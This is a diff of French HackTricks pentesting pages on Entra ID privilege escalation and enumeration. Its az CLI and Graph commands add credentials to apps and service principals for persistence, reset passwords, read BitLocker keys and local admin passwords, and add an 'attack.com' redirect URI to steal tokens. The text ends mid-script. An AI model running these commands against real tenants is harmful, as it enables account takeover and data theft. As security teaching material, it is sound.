{{#include ../../../banners/hacktricks-training.md}}
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Notez que **toutes les autorisations granulaires** des rôles intégrés dans Entra ID **ne sont pas éligibles pour être utilisées dans des rôles personnalisés.**
> Notez que **pas toutes les permissions granulaires** que possèdent les rôles intégrés dans Entra ID **sont éligibles pour être utilisées dans des rôles personnalisés.**
## Rôles
### Rôle : Administrateur de rôle privilégié <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### Rôle: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Ce rôle contient les autorisations granulaires nécessaires pour pouvoir attribuer des rôles à des principaux et pour donner plus d'autorisations aux rôles. Les deux actions pourraient être abusées pour escalader les privilèges.
Ce rôle contient les permissions granulaires nécessaires pour pouvoir assigner des rôles à des principals et pour donner davantage de permissions aux rôles. Les deux actions pourraient être abusées pour permettre l'escalade des privilèges.
- Attribuer un rôle à un utilisateur :
- Attribuer un rôle à un utilisateur:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Ajouter plus de permissions à un rôle :
- Ajouter plus de permissions à un role:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
Cela permet à un attaquant **d'ajouter des identifiants** (mots de passe ou certificats) à des applications existantes. Si l'application a des autorisations privilégiées, l'attaquant peut s'authentifier en tant que cette application et obtenir ces privilèges.
Cela permet à un attacker d'**add credentials** (passwords or certificates) à des applications existantes. Si l'application dispose de privileged permissions, l'attacker peut authenticate en tant que cette application et obtenir ces privileges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Cela permet les mêmes actions que `applications/credentials/update`, mais limitées aux applications à répertoire unique.
Cela permet les mêmes actions que `applications/credentials/update`, mais restreint aux applications d'un seul annuaire.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
En s'ajoutant en tant que propriétaire, un attaquant peut manipuler l'application, y compris les identifiants et les autorisations.
En s'ajoutant comme owner, un attacker peut manipuler l'application, y compris les credentials et les permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Un attaquant peut ajouter une URI de redirection aux applications utilisées par les utilisateurs du locataire, puis partager avec eux des URL de connexion qui utilisent la nouvelle URL de redirection afin de voler leurs jetons. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification sera automatique sans que l'utilisateur ait besoin d'accepter quoi que ce soit.
Un attaquant peut ajouter un redirect URI à des applications utilisées par les utilisateurs du tenant, puis leur communiquer des login URLs qui utilisent ce nouveau redirect URL afin de voler leurs tokens. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification se fera automatiquement sans que l'utilisateur ait besoin d'accepter quoi que ce soit.
Notez qu'il est également possible de modifier les autorisations demandées par l'application afin d'obtenir plus d'autorisations, mais dans ce cas, l'utilisateur devra à nouveau accepter l'invite demandant toutes les autorisations.
Notez qu'il est également possible de modifier les permissions demandées par l'application pour obtenir davantage de permissions, mais dans ce cas l'utilisateur devra accepter à nouveau le prompt demandant toutes les permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Escalade de privilèges des applications
**Comme expliqué dans [cet article](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut ayant des **API permissions** de type **`Application`** qui leur étaient assignées. Une API Permission (comme indiqué dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans qu'un utilisateur se connecte à l'application), et sans nécessiter de rôles Entra ID pour l'autoriser. Par conséquent, il est très courant de trouver des **applications hautement privilégiées dans chaque tenant Entra ID**.
Ensuite, si un attaquant dispose d'une permission/role lui permettant de **mettre à jour les credentials (secret ou certificat) de l'application**, l'attaquant peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant que l'application**, obtenant ainsi toutes les permissions que possède l'application.
Notez que le blog mentionné partageait certaines **API permissions** d'applications par défaut courantes de Microsoft ; cependant, quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est plus possible de se connecter en tant qu'applications Microsoft. Toutefois, il reste possible de trouver des **applications personnalisées avec de hauts privilèges pouvant être abusées**.
How to enumerate the API permissions of an application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Trouver toutes les applications disposant de permissions d'API sur des API non-Microsoft (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Cela permet à un attaquant d'ajouter des identifiants à des service principals existants. Si le service principal a des privilèges élevés, l'attaquant peut assumer ces privilèges.
Cela permet à un attaquant d'ajouter des identifiants à des service principals existants. Si le service principal dispose de privilèges élevés, l'attaquant peut assumer ces privilèges.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Le nouveau mot de passe généré n'apparaîtra pas dans la console web, donc cela pourrait être un moyen furtif de maintenir la persistance sur un principal de service.\
> À partir de l'API, ils peuvent être trouvés avec : `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> Le nouveau mot de passe généré n'apparaîtra pas dans la console web, donc cela pourrait être une façon furtive de maintenir une persistance sur un service principal.\
> Depuis l'API, ils peuvent être trouvés avec : `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, c'est parce que **il n'est pas possible de modifier la propriété passwordCredentials** du SP et vous devez d'abord le déverrouiller. Pour cela, vous avez besoin d'une autorisation (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` c'est parce qu'**il n'est pas possible de modifier la propriété passwordCredentials** du SP et que vous devez d'abord la déverrouiller. Pour cela vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Cela permet à un attaquant d'ajouter des identifiants à des principaux de service existants. Si le principal de service a des privilèges élevés, l'attaquant peut assumer ces privilèges.
Cette autorisation permet à un attacker d'ajouter des credentials aux service principals existants. Si le service principal dispose de privilèges élevés, l'attacker peut assumer ces privilèges.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Semblable aux applications, cette autorisation permet d'ajouter d'autres propriétaires à un principal de service. Posséder un principal de service permet de contrôler ses identifiants et ses autorisations.
Similaire aux applications, cette autorisation permet d'ajouter d'autres propriétaires à un service principal. Être propriétaire d'un service principal permet de contrôler ses identifiants et ses autorisations.
```bash
# Add new owner
spId="<spId>"
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Après avoir ajouté un nouveau propriétaire, j'ai essayé de le supprimer mais l'API a répondu que la méthode DELETE n'était pas supportée, même si c'est la méthode que vous devez utiliser pour supprimer le propriétaire. Donc, vous **ne pouvez pas supprimer les propriétaires de nos jours**.
> Après avoir ajouté un nouveau propriétaire, j'ai essayé de le supprimer mais l'API a répondu que la méthode DELETE n'était pas prise en charge, même si c'est la méthode que vous devez utiliser pour supprimer le propriétaire. Donc vous **ne pouvez pas supprimer les propriétaires de nos jours**.
### `microsoft.directory/servicePrincipals/disable` et `enable`
Ces permissions permettent de désactiver et d'activer des principaux de service. Un attaquant pourrait utiliser cette permission pour activer un principal de service auquel il pourrait accéder d'une manière ou d'une autre pour escalader ses privilèges.
Ces permissions permettent de désactiver et d'activer des service principals. Un attaquant pourrait utiliser cette permission pour activer un service principal auquel il aurait pu accéder d'une manière ou d'une autre afin d'escalader ses privilèges.
Notez que pour cette technique, l'attaquant aura besoin de plus de permissions afin de prendre le contrôle du principal de service activé.
Notez que pour cette technique, l'attaquant aura besoin de permissions supplémentaires afin de prendre le contrôle du service principal activé.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Ces autorisations permettent de créer et d'obtenir des identifiants pour le single sign-on, ce qui pourrait permettre l'accès à des applications tierces.
Ces autorisations permettent de créer et d'obtenir des identifiants pour l'authentification unique, ce qui pourrait permettre l'accès à des applications tierces.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -164,44 +277,36 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
### Escalade de Privilèges des Applications
**Comme expliqué dans [cet article](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, il était très courant de trouver des applications par défaut qui ont des **permissions API** de type **`Application`** qui leur sont assignées. Une permission API (comme appelée dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API sans contexte utilisateur (sans qu'un utilisateur se connecte à l'application), et sans avoir besoin de rôles Entra ID pour le permettre. Par conséquent, il est très courant de trouver des **applications à privilèges élevés dans chaque locataire Entra ID**.
Ensuite, si un attaquant a une permission/un rôle qui permet de **mettre à jour les identifiants (secret ou certificat) de l'application**, l'attaquant peut générer un nouvel identifiant et l'utiliser pour **s'authentifier en tant qu'application**, obtenant ainsi toutes les permissions que l'application possède.
Notez que le blog mentionné partage certaines **permissions API** d'applications par défaut courantes de Microsoft, cependant, quelque temps après ce rapport, Microsoft a corrigé ce problème et il n'est plus possible de se connecter en tant qu'applications Microsoft. Cependant, il est toujours possible de trouver des **applications personnalisées avec des privilèges élevés qui pourraient être abusées**.
---
## Groupes
### `microsoft.directory/groups/allProperties/update`
Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, conduisant à une escalade de privilèges.
Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, ce qui peut conduire à une élévation de privilèges.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Remarque**: Cette autorisation exclut les groupes assignables de rôle Entra ID.
**Remarque** : Cette permission exclut les groupes assignables par rôle Entra ID.
### `microsoft.directory/groups/owners/update`
Cette autorisation permet de devenir propriétaire de groupes. Un propriétaire de groupe peut contrôler l'appartenance et les paramètres du groupe, ce qui peut potentiellement entraîner une élévation des privilèges au sein du groupe.
Cette permission permet de devenir propriétaire de groupes. Un propriétaire de groupe peut contrôler les membres et les paramètres du groupe, ce qui peut potentiellement permettre une élévation de privilèges via le groupe.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Remarque**: Cette autorisation exclut les groupes assignables de rôle Entra ID.
**Remarque** : Cette permission exclut les Entra ID role-assignable groups.
### `microsoft.directory/groups/members/update`
Cette autorisation permet d'ajouter des membres à un groupe. Un attaquant pourrait s'ajouter lui-même ou ajouter des comptes malveillants à des groupes privilégiés, ce qui peut accorder un accès élevé.
Cette permission permet d'ajouter des membres à un groupe. Un attacker pourrait s'ajouter lui-même ou ajouter des comptes malveillants à des groupes privilégiés, ce qui peut lui accorder elevated access.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Cette permission permet de mettre à jour la règle d'appartenance dans un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure dans des groupes privilégiés sans ajout explicite.
Cette permission permet de mettre à jour la règle d'appartenance d'un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure dans des groupes privilégiés sans ajout explicite.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -212,11 +317,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Remarque** : Cette autorisation exclut les groupes assignables de rôle Entra ID.
**Note** : Cette permission exclut les role-assignable groups d'Entra ID.
### Privesc des Groupes Dynamiques
### Dynamic Groups Privesc
Il pourrait être possible pour les utilisateurs d'escalader des privilèges en modifiant leurs propres propriétés pour être ajoutés en tant que membres de groupes dynamiques. Pour plus d'infos, consultez :
Il peut être possible pour des utilisateurs d'escalader leurs privilèges en modifiant leurs propres propriétés afin d'être ajoutés comme membres de dynamic groups. Pour plus d'informations, consultez :
{{#ref}}
dynamic-groups.md
@@ -226,13 +331,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Cette autorisation permet de réinitialiser le mot de passe des utilisateurs non administrateurs, permettant à un attaquant potentiel d'escalader des privilèges vers d'autres utilisateurs. Cette autorisation ne peut pas être assignée à des rôles personnalisés.
Cette permission permet de réinitialiser le mot de passe d'utilisateurs non administrateurs, ce qui permettrait à un attaquant potentiel d'escalader des privilèges sur d'autres utilisateurs. Cette permission ne peut pas être attribuée aux rôles personnalisés.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des groupes dynamiques qui ajoutent des utilisateurs en fonction des valeurs des propriétés, par conséquent, cette autorisation pourrait permettre à un utilisateur de définir la valeur de propriété nécessaire pour devenir membre d'un groupe dynamique spécifique et d'escalader les privilèges.
Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des groupes dynamiques qui ajoutent des utilisateurs en fonction des valeurs des propriétés ; par conséquent, cette autorisation pourrait permettre à un utilisateur de définir la valeur de propriété requise pour devenir membre d'un groupe dynamique spécifique et d'escalader ses privilèges.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -248,19 +353,19 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Politiques d'accès conditionnel et contournement de MFA
## Conditional Access Policies & MFA bypass
Des politiques d'accès conditionnel mal configurées nécessitant MFA pourraient être contournées, vérifiez :
Des politiques Conditional Access mal configurées exigeant MFA peuvent être contournées, vérifiez :
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}
## Appareils
## Devices
### `microsoft.directory/devices/registeredOwners/update`
Cette autorisation permet aux attaquants de se désigner comme propriétaires d'appareils pour obtenir le contrôle ou l'accès aux paramètres et données spécifiques à l'appareil.
Cette autorisation permet à des attaquants de s'attribuer le rôle de propriétaire d'appareils afin d'obtenir le contrôle ou d'accéder aux paramètres et aux données spécifiques à l'appareil.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -271,7 +376,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Cette autorisation permet aux attaquants d'associer leur compte à des appareils pour obtenir un accès ou contourner les politiques de sécurité.
Cette permission permet aux attaquants d'associer leur compte à des appareils pour obtenir un accès ou contourner des politiques de sécurité.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -282,7 +387,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Cette permission permet aux attaquants de lire les propriétés des informations d'identification du compte administrateur local sauvegardé pour les appareils joints à Microsoft Entra, y compris le mot de passe.
Cette permission permet à un attaquant de lire les propriétés des informations d'identification sauvegardées du compte administrateur local des appareils joints à Microsoft Entra, y compris le mot de passe.
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -297,7 +402,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Cette permission permet d'accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des disques, compromettant ainsi la confidentialité des données.
Cette permission permet d'accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des disques, compromettant la confidentialité des données.
```bash
# List recovery keys
az rest --method GET \
@@ -308,7 +413,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Autres autorisations intéressantes (TODO)
## Autres permissions intéressantes (À FAIRE)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
@@ -4,9 +4,9 @@
## Informations de base
Azure Active Directory (Azure AD) est le service cloud de Microsoft pour la gestion des identités et des accès. Il permet aux employés de se connecter et d'accéder aux ressources, tant au sein de l'organisation qu'à l'extérieur, incluant Microsoft 365, le portail Azure et de nombreuses autres applications SaaS. Azure AD est conçu pour fournir des services d'identité essentiels, notamment **authentification, autorisation et gestion des utilisateurs**.
Azure Active Directory (Azure AD) est le service cloud de Microsoft pour la gestion des identités et des accès. Il permet aux employés de se connecter et d'accéder aux ressources, tant à l'intérieur qu'à l'extérieur de l'organisation, incluant Microsoft 365, the Azure portal, et de nombreuses autres applications SaaS. Azure AD est conçu pour fournir des services d'identité essentiels, notamment **l'authentification, l'autorisation et la gestion des utilisateurs**.
Les fonctionnalités clés d'Azure AD comprennent **authentification multifacteur** et **accès conditionnel**, ainsi qu'une intégration fluide avec d'autres services de sécurité Microsoft. Ces fonctionnalités renforcent significativement la sécurité des identités des utilisateurs et permettent aux organisations de mettre en œuvre et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème de services cloud de Microsoft, Azure AD joue un rôle central dans la gestion cloud des identités utilisateur.
Les fonctionnalités clés d'Azure AD incluent **l'authentification multifacteur** et **l'accès conditionnel**, ainsi qu'une intégration transparente avec d'autres services de sécurité Microsoft. Ces fonctionnalités renforcent considérablement la sécurité des identités utilisateur et permettent aux organisations de mettre en place et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème des services cloud de Microsoft, Azure AD est essentiel pour la gestion des identités basée sur le cloud.
## Énumération
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Lorsque vous vous **login** via **CLI** sur Azure avec n'importe quel programme, vous utilisez une **Azure Application** d'un **tenant** appartenant à **Microsoft**. Ces Applications, comme celles que vous pouvez créer dans votre compte, **have a client id**. Vous **won't be able to see all of them** dans les **allowed applications lists** que vous pouvez voir dans la console, **mais elles sont autorisées par défaut**.
Quand vous **login** via **CLI** sur Azure avec n'importe quel programme, vous utilisez une **Azure Application** d'un **tenant** qui appartient à **Microsoft**. Ces Applications, comme celles que vous pouvez créer dans votre compte, **ont un client id**. Vous **ne pourrez pas tous les voir** dans les **listes d'applications autorisées** que vous pouvez voir dans la console, **mais elles sont autorisées par défaut**.
Par exemple un **powershell script** qui **authenticates** utilise une app avec client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Même si l'app n'apparaît pas dans la console, un sysadmin pourrait **bloquer cette application** afin que les utilisateurs ne puissent pas accéder en utilisant des outils qui se connectent via cette App.
Cependant, il existe **other client-ids** d'applications qui **will allow you to connect to Azure** :
Cependant, il existe **d'autres client-ids** d'applications qui **vous permettront de vous connecter à Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -227,7 +227,7 @@ az account tenant list
### Utilisateurs
Pour plus d'informations sur les utilisateurs Entra ID, consultez :
Pour plus d'informations sur les utilisateurs Entra ID, consultez :
{{#ref}}
../az-basic-information/
@@ -364,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA et Conditional Access Policies
### MFA & Politiques d'accès conditionnel
Il est fortement recommandé d'ajouter MFA à chaque utilisateur ; toutefois, certaines entreprises ne l'activent pas ou peuvent le configurer avec un Conditional Access : l'utilisateur sera **MFA requis si** il se connecte depuis un emplacement spécifique, un navigateur ou **une condition**. Ces politiques, si elles ne sont pas correctement configurées, peuvent être sujettes à des **bypasses**. Consultez :
Il est fortement recommandé d'ajouter MFA à chaque utilisateur ; cependant, certaines entreprises ne l'activeront pas ou pourraient le configurer avec un Conditional Access : l'utilisateur sera **MFA requis si** il se connecte depuis un emplacement spécifique, un navigateur ou **une certaine condition**. Ces politiques, si elles ne sont pas configurées correctement, peuvent être sujettes à des **contournements**. Vérifiez :
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
#### Ajouter un utilisateur au groupe
Les propriétaires du groupe peuvent ajouter de nouveaux utilisateurs au groupe.
Les propriétaires du groupe peuvent ajouter de nouveaux utilisateurs au groupe
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Les groupes peuvent être dynamiques, ce qui signifie essentiellement que **si un utilisateur remplit certaines conditions il sera ajouté à un groupe**. Bien sûr, si les conditions sont basées sur des **attributs** qu'un **utilisateur** peut **contrôler**, il pourrait abuser de cette fonctionnalité pour **se retrouver dans d'autres groupes**.\
> Consultez comment abuser des groupes dynamiques sur la page suivante :
> Les groupes peuvent être dynamiques, ce qui signifie essentiellement que **si un utilisateur remplit certaines conditions, il sera ajouté à un groupe**. Bien sûr, si les conditions sont basées sur des **attributs** qu'un **utilisateur** peut **contrôler**, il pourrait abuser de cette fonctionnalité pour **s'intégrer dans d'autres groupes**.\
> Consultez la page suivante pour voir comment abuser des groupes dynamiques :
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
### Service Principals
Pour plus d'informations sur Entra ID service principals, consultez :
Pour plus d'informations sur les Entra ID service principals, consultez :
{{#ref}}
../az-basic-information/
@@ -598,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
> Le propriétaire d'un Service Principal peut changer son mot de passe.
> L'Owner d'un Service Principal peut changer son mot de passe.
<details>
<summary>Lister et tenter d'ajouter un client secret sur chaque Enterprise App</summary>
<summary>Lister et tenter d'ajouter un client secret à chaque Enterprise App</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -715,10 +715,10 @@ Pour plus d'informations sur les Applications, consultez :
../az-basic-information/
{{#endref}}
Lorsqu'une App est générée, deux types d'autorisations sont accordées :
Lorsqu'une App est générée, deux types d'autorisations sont accordés :
- **Autorisations** accordées au **Service Principal**
- **Autorisations** que **l'app** peut avoir et utiliser au **nom de l'utilisateur**.
- **Autorisations** attribuées au **Service Principal**
- **Autorisations** que l'**app** peut posséder et utiliser au **nom de l'utilisateur**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Trouver toutes les applications ayant des autorisations API pour des APIs non-Microsoft (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
